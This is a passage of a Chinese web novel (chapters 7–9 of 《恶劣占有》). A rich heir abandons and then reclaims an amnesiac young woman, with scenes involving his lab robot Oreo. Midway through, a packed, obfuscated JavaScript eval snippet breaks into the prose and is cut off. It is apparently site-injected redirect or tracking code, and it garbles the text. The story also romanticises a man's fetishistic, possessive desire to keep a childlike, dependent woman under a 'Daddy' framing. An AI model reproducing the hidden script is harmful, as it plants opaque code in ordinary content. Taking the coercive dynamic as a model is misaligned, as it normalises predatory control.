《恶劣占有》 7.小鸟恶魔 时霂并非没有看见宋知祎。 在宋知祎跑到停机坪的那一刻,哈兰就告诉他,人在底下,怕是在喊他的名字。 “先生,要不要停下来。”哈兰很心酸,不知为什么,可能是这个女孩真的很招人疼,很可爱,也很乖巧,和他所见过的所有千金小姐都不一样。 哈兰望着女孩在底下又跳又挥手,急得像一只被父母抛弃的小动物,那种心酸就更多了。他是为人父母的,最见不得这种场面。 这个女孩并不知道,先生决定了把她留在这里。 他们以后不会再有交集。 昨晚童话般的美好只是一根火柴的光。 时霂的面容不起丝毫波澜,甚至没有往窗外看一眼,他看着平板上的工作邮件,“不用,继续开。” “先生……”哈兰再次请求。 “你也不是多管闲事的人,今天是怎么了。”他语气微冷。 哈兰闭上嘴。先生很少有情绪外露的时候。 随着直升机越飞越高,时霂感觉到不舒适,像是高空中会缺氧,可明明高度正常,直升机里温度和含氧量都是最佳数值。他尽量集中精神去看这封法语邮件,可耳边总是传来很细很轻的呼唤,喊他时霂,也撒娇,贴着他,令他完全无法专注。 他说不出自己是怎么了,心情和注意力都很沉滞,只能熄灭平板,把西装外套脱下,又解松了领带,最后靠上座椅背,试图闭眼休息。 只不过耳边那虚虚幻幻的声音没消停过,令他没有一刻安宁。 直升机并没有飞回庄园,而是去往银冠集团在慕尼黑的分部。 银冠集团是赫尔海德家族最成功的一笔投资,四十年前,时霂的祖父海因里希·赫尔海德先生以十亿美元收购这家来自华尔街的资产管理公司,将其改名为SliverCrwon,经过几笔战绩赫赫的投资,迅速在全球资本市场扩张,如今在全球管理的资产已经超过四万亿欧元,旗下版块众多,持股了全球众多龙头企业,收购的资产数不胜数。 海因里希先生直接跳过自己的五个孩子,将这家如日中天的集团交给了长孙,当时一度引起很多猜测。毕竟赫尔海德家族最值钱两大王牌,一张是赫尔海德集团,另一张就是银冠。 时霂握着半壁江山,即使是他的父亲,也并不能拿他怎么样。 因为亲自送宋知祎去JH,例会推迟了两个小时,结束时到了十二点。时霂从会议室里出来,哈兰欲言又止地跟上去,手里握着电话,看上去刚结束通话。 “先生,JH那边刚刚来了消息。” 时霂不咸不淡地瞥过他,意思很模糊,哈兰拿不准,干脆装傻:“您要听吗?” 男人只是漫不经心地理着袖口,头顶一束筒灯的射光打在他金发上,冷调的色泽,显得冷漠,“你既然想说,那就说。” “她很伤心,蛋糕也没吃,一个人躲在房里。”哈兰边说边悄悄观察时霂的神情,对方只是整理着没有丝毫皱褶的袖口,动作优雅,面容平和,再没有其他。 哈兰定了定神:“她说,时霂抛弃了她。” “抛弃”这个词实在是很滑稽。 这时电梯到了,叮的一声缓缓划开。 银冠总部大楼于五年前重新扩建翻修,主色调采用了银色,着重科技感的设计带来一股冷冽的高智感,所以这里运用最多的材料就是玻璃、金属以及镜面。 电梯亦如此,四壁皆是光可鉴人的镜面,打开的瞬间,就将时霂脸上那抹怔忪,以及怔忪之下的狼狈照得无处遁形。 时霂也看见了自己此时的表情,很荒谬,避无可避。 他不知道自己为什么会为这么幼稚的一句话而面露狼狈,仿佛经历了一场审判。明明他把一切都安排得如此周全,妥帖,堪称仁至义尽。 那只是一只小到不能再小的小雀莺,又凭什么一而再再而三影响他的情绪。 时霂定了神,不露痕迹地收敛一切,迈步踏入。 “我去实验室,你不必跟着。”时霂按下负一层,随后替哈兰按了一层。 “那午餐?” “让Milo送过来。” “好的,先生。” Milo是机器人,在银冠集团重点投资的占地足有两万平方米的超级实验室里,有无数个形态各异的“Milo”。这是集团与美国军方秘密签订的武器项目,投入了大量的财力人力物力,用来研究各种军用智能机器人和工业软件。 上世纪的欧洲人都知道,赫尔海德家族就是靠做军工和电气技术起家的。 负一层到了,时霂走出电梯,刷卡进入内部区域,经过一条纵深很长走廊,最后于一道高三米的银色金属门前停下,智能扫描仪扫过他的虹膜,比对成功,发出一声可爱的“叮咚”—— 一道调皮的男孩音响起,融合了不太明显的电音效果,说的是中文,“欢迎回家,时霂。” 银色金属门关上,时霂走入这个绝对私密的个人空间。这里和赫尔海德庄园的富丽堂皇,色彩堆积完全不同,只有白色,银色和深蓝,大片空旷的留白让这里有种如海中岛屿的孤寂感,也像宇宙中的一只飞船。 时霂脱下西装,扔在沙发上,很快,一个完全规则的正方体物体滑过来,伸出一根叉子,叉起这件西装,然后丝滑地来到挂衣架前,整整齐齐挂好,随后放出一道蓝光扫过时霂全身。 “今日体温37℃,心率80,血氧饱和度99%,身高191cm,体重95kg,体脂率10%,胸围112,腰围81,臀围98,长度……呃呃……此状态下测量不准,长度未知,嘴唇红润,皮肤Q弹,恭喜您,先生,今日也非常健康,请继续保持!” 时霂脸色冷漠,走去冰箱。 这个正方体紧巴巴地跟在时霂身后,用智能控制把冰箱门打开,“嗨,时霂,你今天怎么了,不高兴吗?” 时霂拿出一瓶气泡水,冰凉的水汽布满手掌,“为什么这样问?” “你今天脱衣服很随便,看得出你心情不好,都不符合你的人设了,你有点ooc哦。” 时霂越来越听不懂它的话了,这个机器人有些跑偏,“我是什么人设?” “呃……” 正方体煞有其事地思考,它四个面都是OLED显示屏,此时正显示出长长的省略号,绕了它一圈,这表示它正在思考,“你的人设是优雅高贵的老钱少爷,能力卓越的集团霸总,严谨自律括号闷骚变态括号收德系帅哥,温柔倜傥括号拔叼无情括号收意式绅士,以及全世界姐姐都喜爱的八块腹肌大奶男妈妈,综上所述,你不能随意扔衣服,让我挂。” 它强调最后三个字,“你知道吗,时霂,伸缩手臂真的很累。” 要耗费他百分之零点零零零一的电量! “………………” 它的话里至少有一半的词汇时霂都听不懂,只是好笑地看着这个物体,想着是不是最近的调/教方向有误,才让它的思维越来越跳脱。 这是他年少时亲手设计的机器人,经由专业团队加强外观和升级系统,现在正在进行新一轮的思维训练当中。在实验室上百个机器人里,唯独它有自己的名字,叫“Oreo” 为了让Oreo的中文运用更加活泼入时,时霂上个月为它接入了几个中国社交网站,譬如“某抖”“某书”“某博”,给它注册账号让它自己学习,没有想到它学了乱七八糟的东西回来。 时霂摸了摸Oreo的平面脑袋,很温柔:“再乱学不该学的,我会把你送去销毁处,或者让你去军事演习场自毁爆炸。” Oreo立刻老实了,发出非常僵硬的哭泣电子音“呜呜呜” “朗读圣经旧约。”时霂命令。 Oreo作为一个可爱的机器人,被迫信仰上帝,开始没有感情的朗读:“起初,上帝创造天地。此时大地混沌空虚,渊面黑暗………” 读了不到两分钟,它突然打岔:“对了,你今天为什么不高兴?你这么厉害,应该没有人敢惹你生气吧。” 它拥有非常大的自主权。 时霂并不置喙Oreo的童言无忌,他想起了另一句更加童言无忌的控诉。 抛弃。 他抛弃她。 时霂只觉得幼稚。他微微一笑,优雅地抽出一根细支雪茄,Oreo狗腿地凑过来,一根金属手臂从上方伸出,放出电流,嘶嘶地将烟点燃。 不同于市面上兜售的烟草,这款雪茄味道极其淡,更多的是浓郁的咖啡香,弥散开来。 时霂并不介意与Oreo分享他的生活。 Oreo是他漫长年少时期唯一的听众。 “我捡到了一只走失的小鸟,见她可怜,喂了几天。如今她伤好了,我为她找了一处好地方,把她放归自然,让她自己生活。她总要学会自己生活,不是吗?” 时霂语调温而缓,如同指尖缓慢泻出的雾,他淡淡吁出一口烟,笑着说:“现在这只鸟非但不感激我,还指责我抛弃她。” 他高贵的暗蓝色眼眸里流露出一丝很淡的愠色,“你说她是不是很幼稚,Oreo。” Oreo的智力已经非常接近人类了,它能模拟喜怒哀乐,但不能产生喜怒哀乐。 它立刻联网搜索许多有关可怜小鸟的图片,以及人类救助小鸟的事迹,整理这些信息后,说道:“那你为什么不能养它?小鸟很美丽,也很可怜。你这么有钱,住的地方又那么大,养一只小鸟对你来说根本没有影响,你为什么不要它。” “Oreo。” 时霂沉了嗓,一簇烟灰落在西装裤上,“创世纪中记载,撒旦化身为蛇,引诱夏娃摘下分别善恶树的禁果,偷吃禁果的亚当夏娃被耶和华上帝逐出了伊甸园,人类从此需要面临劳作,苦难与死亡。我教过你,凡事需要认真思考,一只鸟而已,也许并没有看到的那么简单。这个世界很复杂,不是因为漂亮和可怜,就要留下她,说不定日后会带来很多麻烦。有些东西就像禁果,不该尝的,不能尝。” Oreo很困惑,屏幕上标出大大的问号,“小鸟就是小鸟,为什么要与撒旦与禁果扯上关系?时霂,你真的很奇怪。” 它很固执,也不知是机器人到底不懂人类的复杂,还是机器人有着人类没有的坦白。 时霂弹了弹烟灰,耐心解释:“你可以当成今日的训练。我曾经告诉过你,撒旦会幻化成美丽的模样。你看到的美丽不一定是美丽,天使往往是丑陋的,恶魔才需要美丽的皮囊。” Oreo说:“我当然记得,我的记忆力可是人类的百万倍!可是你没有告诉我,为什么恶魔才需要美丽的皮囊。” “因为恶魔需要引诱人类堕落。” Oreo没有说话了,它需要进行深度的思考。时霂总是会用很复杂的问题,只有人类才能体会的问题,来训练它这个机器人。太强机所难了。 屏幕上开始播放一些可爱的小鸟扑腾翅膀的画面,让这只机器人看上去五彩斑斓。Oreo找来的小鸟玲珑可爱,是一只粉紫色的花彩雀莺,在树枝上歪着脑袋,啁啁啾啾,蹦蹦跳跳,撒着娇。 时霂很淡地瞥过那只花彩雀莺,笑了笑,挪开目光,夹烟的那只手难耐地转了转,似乎是腕表挪位不太舒服,又不太像。 他没有催促,耐心地等待机器人思考。思考深度复杂的问题,才能让ai接近人类,他不单单要一款智能管家,他期待有生之年能造出一颗比拟成年人智力和情绪的大脑。 空旷的实验室非常安静,明净的灯光洒落,衬得他面冠如玉。 许是身上流淌着八分之一的中国血统,他的气质里有着很东方的韵味,譬如儒雅、端方,冲淡了西式精英阶层刻在骨子里的冷漠傲慢。 机械电子音滴滴两声,思考完毕。 Oreo用主屏幕正对着时霂,那只彩色小雀莺活蹦乱跳着,“所以,是那只小鸟引诱到你了,你才要抛弃它,它其实什么也没有做错,是你太小气,把自己的错怪到它身上,还说它是恶魔。难怪,人类是有原罪的,这个原罪就是太虚伪。” “我分析得对吗?时霂。”它洋洋自得。 Oreo的眼睛正对着时霂,屏幕下藏着三百六十度旋转摄像头,军用安防级别,能精确捕捉到人类面部表情最细微的变化,哪怕是天衣无缝的表演也能被它用数据分析出来。 此时,时霂脸上一闪而过的难看被拍摄得一清二楚。 . 晚上八点,哈兰又收到了JH那边的来电。 “哈兰先生,抱歉这么晚打扰您。小姐她一整天都没有吃饭,躲在衣柜不肯出来,我们实在是不知道该如何做了。” “好,我知道了。你们再劝劝她。” 挂了电话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就连这只花豹,也是先生从盗猎者手中救下的。当时Kiki还是幼崽,失去了母亲,又要被杀死制成标本,先生带着几名雇佣军,和盗猎者发生冲突,造成了流血伤亡,这才把这只小可怜救回来。先生留在赞比亚亲自喂养了半个月,临走时,它又叫又闹,伤心到绝食,先生心软,于是为它办理手续,一起带回了德国。 所以,为什么偏偏对那个连名字都没有的女孩如此冷硬? “抱歉,先生,以后不会再拿这件事打扰您。时间不早了,您早些休息。”哈兰恭敬地说完,离开时带上书房门。 时霂眼也不抬,仿佛毫不在意,依旧抚着油光水亮的兽皮,只是速度逐渐放缓,直到最后,他没什么意趣地站起来,看着那只懒洋洋的花豹,沉着嗓:“不吃饭是想威胁谁?为什么就不能乖一点?” 被批评了一通的Kiki很无语。真搞不懂,它恨不得一天吃六顿呢! 它打了个哈欠,呼哧一声,表示抗议。 时霂根本没有看它,只是走到窗边,指尖的烟没有点燃,揉到烂,揉到碎,最后扔进烟灰缸。 结束和纽约那边的跨洋会议,已经是深夜十一点。时霂的精力充沛到古怪,完全没有丝毫困意,他打算去衣帽间拿运动衣,再去健身房做几组卧推。 衣帽间和主卧连在一起,空间很大。西装和衬衫按照颜色和材质分门别类地挂好,腕表、袖扣、领带、皮鞋都有固定的区域,没有分毫杂乱,充满了秩序,如此一来,时霂一眼就扫到那条放在换鞋凳上的裙子。 是那件湖蓝色的法兰绒长裙,被洗净烘干,整齐地叠好。不知是哪个粗心的佣人,居然把裙子放在他这里。 明明都已经把她送走了,怎么还处处都是她留下的残局,等着他来收拾? 来自JH的电话… Oreo错误的答案… 欲言又止的哈兰… 裙子… 像是无止尽的多米诺骨牌。 时霂走过去,都没看,直接抓起裙子塞进衣柜,裙摆的一角散开,有什么如蝉翼般轻飘的东西落下来。他没看清,余光一晃,那东西已经落了下去,视线跟着低垂,脚步猛地止住。 一片三角形的浅粉色小蕾丝正盖在他那锃亮的、传统英伦式的黑色牛津皮鞋上。 是她换下来的贴身物。 隔着皮鞋,时霂只觉得脚背被灼烧了,这东西仿佛是一团火。 他冷静地滚了下喉结,俯身,长指勾住这片薄蕾丝,将其拾起,脚背处的灼烧感瞬间传到指尖。 衣帽间无人,很静,全空气系统让洁净的气流循环着。 时霂眨了下眼,深棕色的睫毛非常浓密,令他暗蓝的双眼无比深邃。这是欧美人无法摆脱的基因,毛发总是比亚洲人旺盛,他的睫毛,眉毛,手臂上的汗毛,乃至人鱼线以下的毛发都非常浓密,好在他会定时打理修剪,保持整齐。 蕾丝仍旧挂在指尖,轻薄得没有重量似的,就像她一样。那么轻,那么软,抱在怀里,连压手的重量都没有。 时霂并不想回忆昨晚的狼狈,可大脑不听使唤,疯狂地浮现出种种,画面,气味,温度,还有她咬上来的瞬间,毛绒绒的呼吸喷在了他的喉结,非常痒,痒到浑身都爬满了小虫子。 小虫子不停地往他腹下钻,痒到他有些焦躁。 他犯下了罪恶,对这只天真懵懂的小鸟产生了可耻的欲望,他在上帝面前忏悔了整晚。 现在看来,好像没用。 俊美的面容越发冷峻,显得无比森冷。时霂将蕾丝重重攥进掌心,那股瘙痒又一次钻进他的身体,他越攥越紧,明明松手就能放开,可他好像是被撒旦引诱的人类,完全无法操控自己的行为。 他已经尽量忽略掉那只小鸟,一整天,他都保持着冷漠。 但他高估了自己的道德,克制力,低估了欲望的重力,将他狠狠拉下来。Oreo说的没错,他的的确确被引诱了,他是有原罪的虚伪的人类。 他想吃掉那只鸟,想剥开她的羽毛,抚摸她的鸟喙,抓住她的翅膀,甚至在她脚上戴一条链子。 鬼使神差,脑中闪过某个念头。 他很深地滚了下喉结,尽量让面容保持平静,衬衫马甲笔挺地规训着他发烫的身体,就这样优雅地抬起手臂。 把这片蕾丝放在鼻尖下,像品尝一杯红酒那样,轻轻嗅了嗅。 . 8.Daddy 馨香扑鼻而来,于洗衣液之外,还有一股不易察觉的幽暖,这小巧的东西,包裹着一座隐秘的花园。等时霂反应过来的时候,他的大脑已经将这股味道深深地拓下,挥之不去,他无法装作一切没有发生。 即使没有撒旦的引诱,亚当夏娃也总有一天会偷吃禁果。 是那只小鸟引诱到你了,你才要抛弃她,对吗? 是的。 她什么也没做,就引诱到你了。 你以为把她弄走,扔得远远的,就能继续当个风度翩翩的绅士。 但你不是绅士,你只是一个在背地里对着她的内.裤发..情的变态,恶魔。 时霂微微一笑,明确地告诉了自己这个惭愧的答案。 他身体高大,挡住了顶光,身后拉出一道深重的影子,原本宝石般的眼眸也黑成了一团阴影。 他没有把裙子放进衣柜,而是拿了一个衣架,和他最常穿的那排西服挂在一起。敞开式的区域,一排男士西装中,宫廷风的蓝裙子非常抢眼。挂好裙子后,他慢条斯理地将这条粉色小内裤折好,放进西装内侧口袋,然后拨通座机内线,打给哈兰。 “先生。” 时霂没有换下衬衫马甲,拿了一件外套穿好,又在手腕处沾上微量的香水,动作优雅从容,下达的指令却如同机关枪扫射,精准利落:“拿两颗药过来,让佣人把我卧室旁边的次卧打扫出来,安排直升机,通知JH俱乐部,我一小时后到。” 哈兰不懂这直转急下的剧情,“去做什么?” “接她。” 他决定把这只小鸟豢养起来,陪伴她,爱护她,直到她愿意变成他一个人的小鸟。 他在做善事,上帝会原谅他的。 . 宋知祎把自己埋在衣柜里,不想跟任何人说话,也拒绝吃任何食物,哪怕那巧克力慕斯看上去还不错,她也没胃口。 人在极度伤心的时候,是什么也吃不下的,甚至作呕,反胃,想把吃进去的东西吐出来。 被抛弃的滋味不好受,很想哭,其实她一点也不喜欢哭,可眼泪就是莫名其妙流下来,哭着哭着就睡了过去,再醒来时,天早黑了,不知道是几点。 院中没有点灯,睁眼发现四周一片漆黑,那一瞬间,虚无与恐惧淹没过来,令宋知祎害怕得叫出声。 她不知道在哪开灯,看不见,没有手机,没有电筒,没有任何光源,她只能继续可怜巴巴地躲在衣柜里,把自己缩成一团。 肚子还饿了。好饿。她中午没吃,晚上也没吃。 “有人吗?” “Hello?” 喊了几声,没人。 这里很少有加班的概念,况且这个俱乐部根本不忙,大家都过着秩序井然的生活,到点上班到点下班。食堂也是,晚餐时间一过,餐盘收走,就关门打烊了。想吃东西只能自己做,或者驱车去三公里开外的镇中心买食物,碰到周日,那很不巧,超市商场全部关门。 在宋知祎的潜意识里,她好像从没有在这么黑的地方独处过。 她脑中会偶尔浮出几个画面—— 那是一座巨大的,漂亮的,灯火通明的宫殿,就像时霂住的地方,但更热闹,人来人往,彻夜不息。 那里二十四小时都亮着,亮晶晶,金灿灿,连夜晚的天空也是亮的,霓虹灯中车水马龙,连空气的味道都是甜的,耳边还有悠扬的歌曲,喷泉不停的变换,以及有什么东西扔下去,会撞出清脆咔哒的声音…… 还有一座花园,里面堆满了各式各样的巧克力、蛋糕,她揣着小竹篮,捡都捡不完。 记不起来,想不起这里是哪,可能真的只是一场异想天开的梦,毕竟不会有免费的巧克力给她捡。 对于过去的自己,她就像做了一场梦,醒来时只会残留几缕影子。 宋知祎委屈地把脸埋进膝盖,泪水干掉后皮肤绷得不舒服,她想洗脸又不敢出去,什么都做不了,只能继续睡,睡着了,天亮了,说不定就有人来管她,带她去吃饭。 可是根本睡不着,脑中不断浮现出直升机冷酷离去的画面,眼泪啪嗒啪嗒掉下来。今天过去了,那明天呢,后天呢,她该如何在这个陌生的国家生活?失忆前的她到底在做什么!怎么就跑到这个鸟不拉屎的地方来了! 她知道要坚强,一直逃避是不可能的,可就是很委屈。 “时霂……” “坏人。” “我再也不会相信你了。” “抛弃我……” “那我也抛弃你。” “你根本不是我的妈妈。” “不会有这样坏的妈妈。” “等我想起来我妈妈是谁,我一定要让她帮我出气。” “还有我爹地,他也会狠狠教训你。” “大坏人。” “讨厌你。” “欺负我,抛弃我……” “坏……” 话未落音,一道无奈的低哂忽然响起,立刻,零零碎碎的咕哝停止。 宋知祎闭紧嘴巴,戒备地坐直,红通通的眼睛睁大,虽然什么也看不见。 是谁? “你好……有人在吗?”宋知祎屏住呼吸,大着胆子问。 没有回应。 再出声时,明显多了一丝颤抖,“如果你是鬼,能不能请你不要吓我……” 时霂勾唇,不愿她再害怕,立刻抬手揿亮了灯。 “啪”,黑暗顷刻间溃逃,光明让宋知祎得到了安全感,她深吸气,小心翼翼地从衣柜里探出头。 一双笔直的长腿映入眼帘。驼棕色的西装裤剪裁干净,中线锋利挺括,half break的长度,裤脚刚好触到鞋面。 那是非常干净的皮鞋,干净到不像是用来走路的,就连薄底的边缘也不染尘土。 宋知祎轻微失神,等待了一整天,也怨愤了一整天的人终于出现,不惊喜是不可能的,可委屈更多,她倔犟地咬住唇瓣,就这样保持着角度,一点也不肯再往上看。 她知道这是谁。 这是坏人。 抛弃她的坏人。 不是都抛弃她了,还来做什么。 时霂垂眼望着这颗圆圆的脑袋,蓬松而顺滑的长发像暖绒绒的羽毛。一只生气还倔强的小鸟,会在背后骂人。 “小可怜,抱歉,我来晚了。”时霂温声说着,“工作人员说你一整天都没有乖乖吃饭,是这里的巧克力慕斯不好吃吗?” 这话说的,把他做了什么恶事全部圆过去,可是他声音如此醇厚温柔,像昨晚那杯霞多丽,让她轻飘飘的,很舒服。 宋知祎将唇瓣咬得更紧,双手也不知不觉抓紧了,过了许久,才闷闷说,“你来干什么。” “当然是接你。” 谎言!坏人! 宋知祎握拳,倏地抬起头,对上那张英俊温柔的面庞,她大脑一空,紧跟着就是如潮水般凶猛的委屈:“骗子!你都抛弃我了,为什么又来接我!?这什么鬼地方!黑得要命!巧克力慕斯也难吃死了!难吃死了!” 这委屈几乎要把她淹没掉,眼泪夺眶而出,“你这个坏人!你把我丢在这里一整天,我伤心了一整天!你坐飞机走了……我在底下喊你,一直喊你,你不理我,你丢掉我,抛弃我——” 她无法控制情绪,伤心到整个身体都在抽搐,边哭边抖,恨不得呕出来,脸颊泛起不正常的绯色,眼里爬满了红血丝。 “我讨厌你——讨厌你——” 胸口不停起伏,起伏到夸张的程度。 混乱中,她似乎听见对方叹了一声,紧跟着,一双温柔的大掌包裹住她的脸颊,把她轻轻托起来,“好,我知道,你讨厌我,是我不好。我向你道歉。” 宋知祎定定地看着他,眼泪不停地流,发着抖:“讨厌…你……” “我做错事,讨厌我是应该的。但这是我的错,为什么要惩罚自己?你看,眼睛都哭红了。” “不着急,小雀莺,我会一直在这里,我们慢慢说,好吗?” 他如此平和,从容。 拇指匀缓地摩挲她潮湿的眼尾,声音沉敛、带着不动声色的掌控力:“来,乖孩子,现在听我的指令,吸气——” 宋知祎身体还在不停抽搐,却下意识地听从他的指令,颤颤地吸了一口气。 见她照做,时霂露出欣慰的笑容,那双暗蓝色的眼眸像宽广的大海,像包容一切的夜色,专注凝望谁时,又成了一张网,“再慢慢呼出来……good girl,再一次,呼吸。” “很棒,小雀莺,再自己来一次……” 宋知祎随着他的指令,做了几次深呼吸,剧烈的情绪终于渐渐平复下去,整张脸通红,也潮湿。 她对刚才不受控制的哭泣感到羞愧。 哑着喉咙,委屈地说:“我不是故意哭,我控制不住。因为你很讨厌。” 时霂哪里会怪她,掌心抚上她的后脑勺,“我知道。你受了委屈,你心里难受,你讨厌我。” 宋知祎不说话了,微微撅着唇,湿软的眸子闪着晶莹的光泽。 “先从衣柜出来。你也不是真的小鸟,这也不是你的巢。”时霂绅士地伸出手,放在她身前,“来,扶着我。” 他的手很漂亮,每一根手指都修长而流畅,骨节清晰,看上去蓄满了力量,掌心的纹路很复杂,但不混乱。 不论是捧住她的脸,还是为她擦眼泪,都克制且温柔。 宋知祎还是气,气她居然轻易就被哄好了,真没面子。赌气地在他的手掌上打了一下,想再打一下时,他掌心翻过来,抓住她的手指。 “坏人。”宋知祎咕哝着,要把手收回来,可男人抓得很牢,她根本无力挣扎。 时霂就这样抓住她的手,顺道蹲下来,单膝点地,和躲在衣柜里的宋知祎平视,“刚才说了什么,我没听清楚。” “我说,你为什么要抛弃我!”宋知祎就要问个明白。 “没有抛弃你。”他说。 “也没有丢掉你。” 时霂的指腹贴住她跳动的腕脉,揉了揉,像是在无声地化解她躁动的情绪,“以后不会把你一个人留在陌生的地方超过一个小时。” “真的吗?” “真的,我保证。先出来,好孩子。” 好孩子……宋知祎羞涩也别扭,就在她失神中,男人结实的手臂包住她,如同昨晚那样,很轻易地把她抱出了这间窄小的还有一股木头味的衣柜。 总算是离开了衣柜,宋知祎坐在床上,大口呼吸着新鲜空气。时霂从口袋里拿出方巾递给她擦脸,随后把她的鞋拿过来,蹲下,为她穿好,散开的鞋带被系出一枚漂亮的蝴蝶结。 做完这一切,时霂没有起身,就蹲在她的脚边,像一只决定了低头的兽王,“还想哭吗。” “你才哭。”她瞪了一眼,发出闷闷的哼声,鼻子还有些滞堵。 男人笑了笑,“那我们回家。我亲手做巧克力慕斯给你吃,好吗?这次就原谅我。” 回那座粉色的宫殿,还能吃到时霂亲手做的巧克力慕斯…… “你会做吗?”宋知祎嘀咕着。 “会。但不知道能不能合你的口味,到时候好不好吃都要告诉我,可以吗?那我们现在回家?”他不动声色地握住她的手。 宋知祎也不说回,也不说不回,两条腿晃了晃,就这样扭捏了几秒,最终还是发出很没志气的声音。 眼前这个她只知道名字的男人远比她想象的更强大,强大到不动声色就化解了她所有的脾气,闹腾,别扭。 她没有不原谅的理由,她一点也不想生他的气,她只想躲在他怀里。 变成一只在他羽翼下躲雨的小鸟。 宋知祎觉得这样很有安全感。 . 哈兰在院子里等了许久,见两人终于出来,他长舒一口气,笑着和宋知祎打招呼,“晚上好,My Lady。今天一天还好吗,有没有看见小鹿?” 宋知祎气呼呼地:“一点都不好。没有看见小鹿。时霂抛弃我的时候,你就在边上。你也不是什么好人。” 哈兰着实被堵了下,干巴巴地清着嗓子。 他跟在时霂 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直升机仍旧停在那张巨大的绿草坪上,强劲的风扑上宋知祎红扑扑的脸,刚好降温。JH俱乐部的负责人恭恭敬敬地来送,那个白天试图抓宋知祎,却被她摔了个大跟头的男人也在。他手臂脱臼了,去医院打了个绷带。 时霂瞧他一眼,“怎么受伤了?” 那人垂着头,“没什么大事,先生,不小心摔了。” 时霂颔首,“受伤了就回家休息,去人事走工伤流程。” 宋知祎很心虚,又听不懂他们说些什么,怕这男人向时霂告状,时霂觉得她不乖又反悔不带她走,她连忙松开时霂的手,一溜烟就爬上了直升机。 她心想,如果是她把人的手摔断了,那就真是撞鬼。 时霂感觉掌心一空,脸颊拂过一丝来自发梢的香气,最后交代了几句,步伐沉稳地跟上去。一进机舱,就看见宋知祎已经乖乖坐在来时那个座位,都不用人教,系好安全带,只等着出发。 时霂笑了声,“不用跑这么快,说过不会再丢下你一个人。” 宋知祎抿唇,不打算问他们刚才说了什么,时霂看上去并没有不高兴,她主动提岂不是自投罗网。这点聪明她还是有的。 机舱门自动阖上,噪音被隔绝在外。 飞机缓缓升起,地面的建筑,树木都渐渐变小。到这一刻,宋知祎终于从一整天的梦魇中醒来。 她双眼仍旧红着,潮湿的痕迹很重,忽然解开安全带,爬到时霂身上,坐进他的怀里。 时霂顺手环抱住她,一只手臂就能圈住她整个人,“怎么了。” 宋知祎揪住他的西装领,去嗅他身上清冽的味道,这使她很有安全感。时霂觉得这女孩很粘人,但并不讨厌。 粘人也是好孩子该有的品德。 他喜欢他的小鸟粘着他。 宋知祎酝酿了小半会儿,这才不高兴地说:“时霂,你如果再抛弃我,我一辈子都不会原谅你,而且我也绝对不会再爱你。我还会恨你。” 她的天真带着原始的兽性,爱和恨都很强烈。 “我会陪着你,直到你恢复记忆。”时霂郑重承诺。 “什么意思?”宋知祎眼睛瞪大,很较真:“我恢复记忆了你也可以陪着我啊,你要一直一直陪着我,不准抛弃我,不准丢下我。” 时霂笑了笑,抚摸着她的长发,“会的。” 宋知祎把脸埋进他的胸口。这里好舒服,又软,又硬,又香,又温暖,还有一种致命的吸引的味道,很像妈妈的怀抱。 她埋进去了就不太想出来,整张脸都陷进到男人鼓胀的胸膛里。 布料传导出皮肤的温度和香气,像一颗诱人的热带水果,宋知祎想剥掉皮,真正地埋进去。 时霂轻缓地拍她的后背,这个女孩怎么一直往他胸里钻?他无奈,嗓音低低,“真是个小可怜。” “妈妈……”她喃喃。 “嗯?”时霂没听清她的咕哝。 “妈妈。”宋知祎抬起脸,下巴还是搁在他胸口,舍不得离开,“我都把你当妈妈了。” “……………” 时霂花了三秒钟,理清了这句话的意思,也理清了这小鸟奇怪的依赖和粘人,所以,她一直在把他当…… 妈妈? 若她不能改变这种观念,那真是有些棘手。 毕竟时霂也不想只做她的妈妈。 时霂忽然笑了声,夜色浸染着他俊美华丽的面容,他轻轻掐住宋知祎的下巴,自己则低下头,来到她跟前,这是一种绝对掌控的,强势的姿势,却被他做的非常温柔。 这一刻,宋知祎觉得他不太像妈妈。 “小可怜,你只能偶尔把我当成你的妈妈,在你想家的时候。” “为什么……你都说我是乖孩子了。妈妈才会这样说。” 时霂叹气,把她的下巴抬高,“你总不能把每一个夸你是乖孩子的人当做妈妈吧。” 宋知祎听出了他的不愿意,表示理解,但还是失落,“那好吧。” 失忆让她的精神处于幼鸟阶段,属于孩童的依赖性在她身上很重,她必须要找到一位家长。 其实她还想说——你也可以当我男朋友。可男朋友哪有妈妈份量重呢?男朋友不讨她喜欢了,她就不要啦,但她不会不要妈妈,妈妈也会一辈子都爱她。 不过很快,她又高兴起来,邀请着:“如果你不愿当我妈妈,那可以当我的爸爸,时霂,我的爸爸也很厉害。” 爸爸。时霂还不至于如此变态。 时霂微挑了下眉,眼底含笑时眸色很深:“小可怜,你的爸爸另有其人,但我可以做你的Daddy。” 宋知祎疑惑,“Daddy……不就是爸爸的意思吗。你别想耍我,我英语很好。” 她那富有肉感的嘴唇开合着,于少女的憨厚外还有不可忽视的,属于女人的魅感。 时霂笑着,用拇指按住她的唇珠,这处饱满,绯红,并且弹性很足,不论是摸,还是咬,亦或含住,都一定非常舒服。 他俯身靠近她,嗓音下沉:“Daddy有很多意思,好孩子,你可以与我慢慢探索。” . 9.失踪的小公主 离德国九千公里外的澳城,Cotai。 今晚的夜色依旧璀璨,霓虹灯中车水马龙。 以纸醉金迷而闻名全球的金茜王冠(Sissi Crown Palace)就坐落于此。 这是金茜集团继金茜酒店和茜园后在澳城打造的第三座综合度假村,不止花重金请来天才建筑师库铂先生,更邀请到世界顶尖室内设计团队,总耗资高达五十四亿美金,才打造出这座融合了中式古典艺术和法式洛可可风的艺术宫殿。 酒店常年用着高级香氛,高氧的空气里是一股甜美的果香调,上百台音响隐藏在酒店的各个角落,使得宏伟而美妙的音乐漂浮在每一处角落,每到晚上六点,就会有许多宾客聚集在花园广场,等待观赏落日下的音乐喷泉秀,入夜后,高塔上还会有绚丽的无人机表演。 这座酒店如此宏伟,璀璨,舒适。 无数奢侈品大牌、米其林餐厅争先在此开设门店,还有一处专门为甜食爱好者打造的天堂——酒店七楼的花园天台被命名为“Elara''s Rabbit Hole”,这里聚集了二十三家来自世界各地的知名甜品品牌,全世界最好吃的巧克力全都在这。 很少有人知道,建造这座酒店的初衷不过是为了满足一个三岁小女孩天真的愿望。 “爹地,公主都有宫殿呢,我和妈妈也想有!” 